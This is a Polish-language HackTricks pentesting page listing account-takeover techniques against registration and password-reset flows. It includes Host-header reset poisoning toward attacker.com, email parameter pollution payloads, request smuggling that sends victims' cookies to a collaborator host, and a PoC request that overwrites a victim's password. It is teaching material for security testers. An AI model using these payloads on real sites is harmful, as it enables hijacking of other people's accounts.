Rejestracja & luki umożliwiające przejęcie

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przejęcie przez rejestrację

Powtórna rejestracja

  • Spróbuj utworzyć konto używając istniejącej nazwy użytkownika
  • Sprawdź różne warianty adresu email:
  • wielkie litery
  • +1@
  • dodaj kropkę w adresie email
  • znaki specjalne w części nazwy email (%00, %09, %20)
  • Umieść białe znaki po adresie email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.

Polityka haseł

Podczas tworzenia użytkownika sprawdź politykę haseł (czy można użyć słabych haseł).
W takim przypadku możesz spróbować bruteforce'ować poświadczenia.

SQL Injection

Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Zmiana adresu email

Po rejestracji spróbuj zmienić adres email i sprawdź, czy zmiana jest prawidłowo walidowana lub czy można ustawić dowolny adres.

Dodatkowe sprawdzenia

  • Sprawdź, czy można używać disposable emails
  • Długie hasło (>200) prowadzi do DoS
  • Sprawdź ograniczenia częstotliwości (rate limits) przy tworzeniu kont
  • Użyj username@burp_collab.net i analizuj callback

Przejęcie przez reset hasła

Password Reset Token Leak Via Referrer

  1. Zażądaj resetu hasła na swój adres email
  2. Kliknij w link resetu hasła
  3. Nie zmieniaj hasła
  4. Kliknij dowolną zewnętrzną stronę (np.: Facebook, twitter)
  5. Przechwyć żądanie w Burp Suite proxy
  6. Sprawdź, czy referer header is leaking password reset token.

Password Reset Poisoning

  1. Przechwyć żądanie resetu hasła w Burp Suite
  2. Dodaj lub edytuj następujące nagłówki w Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Prześlij żądanie z zmodyfikowanym nagłówkiem
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Szukaj URL resetu hasła opartego na host header jak : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR w parametrach API

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Change password.
  2. Uruchom Burp Suite i przechwyć żądanie
  3. Wyślij je do zakładki repeater i edytuj parametry : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słaby token do resetu hasła

Token do resetu hasła powinien być generowany losowo i być unikatowy za każdym razem.
Spróbuj określić, czy token wygasa, czy jest zawsze ten sam — w niektórych przypadkach algorytm generowania jest słaby i można go odgadnąć. Następujące zmienne mogą być wykorzystywane przez algorytm.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Wywołaj żądanie resetu hasła za pomocą API/UI dla konkretnego emaila, np.: test@mail.com
  2. Zbadaj odpowiedź serwera i sprawdź, czy zawiera resetToken
  3. Następnie użyj tokena w URL-u takim jak https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Zarejestruj konto w systemie z nazwą użytkownika identyczną jak nazwa ofiary, ale z dodatkowymi spacjami przed i/lub po nazwie. np.: "admin "
  2. Zażądaj resetu hasła używając swojej złośliwej nazwy użytkownika.
  3. Użyj tokena wysłanego na Twój email i zresetuj hasło ofiary.
  4. Zaloguj się na konto ofiary za pomocą nowego hasła.

Platforma CTFd była podatna na ten atak.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Znajdź XSS w aplikacji lub subdomenie, jeśli cookies mają zakres do domeny nadrzędnej: *.domain.com
  2. Leak bieżące sessions cookie
  3. Zautoryzuj się jako użytkownik, używając cookie

Account Takeover Via HTTP Request Smuggling

1. Użyj smuggler aby wykryć typ HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Sporządź żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X: z celem otwarcia redirectu ofiar do burpcollab i kradzieży ich cookies
3. Końcowe żądanie może wyglądać następująco

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Przejęcie konta przez CSRF

  1. Stwórz payload dla CSRF, np.: “HTML form with auto submit for a password change”
  2. Wyślij payload

Przejęcie konta przez JWT

JSON Web Token might be used to authenticate an user.

  • Edytuj JWT, podstawiając inny User ID / Email
  • Sprawdź słabość sygnatury JWT

JWT Vulnerabilities (Json Web Tokens)

Rejestracja jako reset (Upsert on Existing Email)

Niektóre mechanizmy obsługi rejestracji wykonują upsert, gdy podany email już istnieje. Jeśli endpoint akceptuje minimalne body z email i password i nie wymusza weryfikacji własności, wysłanie emaila ofiary nadpisze jej hasło przed uwierzytelnieniem.

  • Discovery: pozyskaj nazwy endpointów z bundled JS (lub ruchu aplikacji mobilnej), potem fuzzuj bazowe ścieżki takie jak /parents/application/v4/admin/FUZZ używając ffuf/dirsearch.
  • Wskazówki: GET zwracający komunikaty typu "Only POST request is allowed." często wskazuje poprawną metodę i że oczekiwane jest JSON body.
  • Minimalne body zaobserwowane in the wild:
json
{"email":"victim@example.com","password":"New@12345"}

Przykład PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Wpływ: Full Account Takeover (ATO) bez jakiegokolwiek reset token, OTP lub weryfikacji e-mail.

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks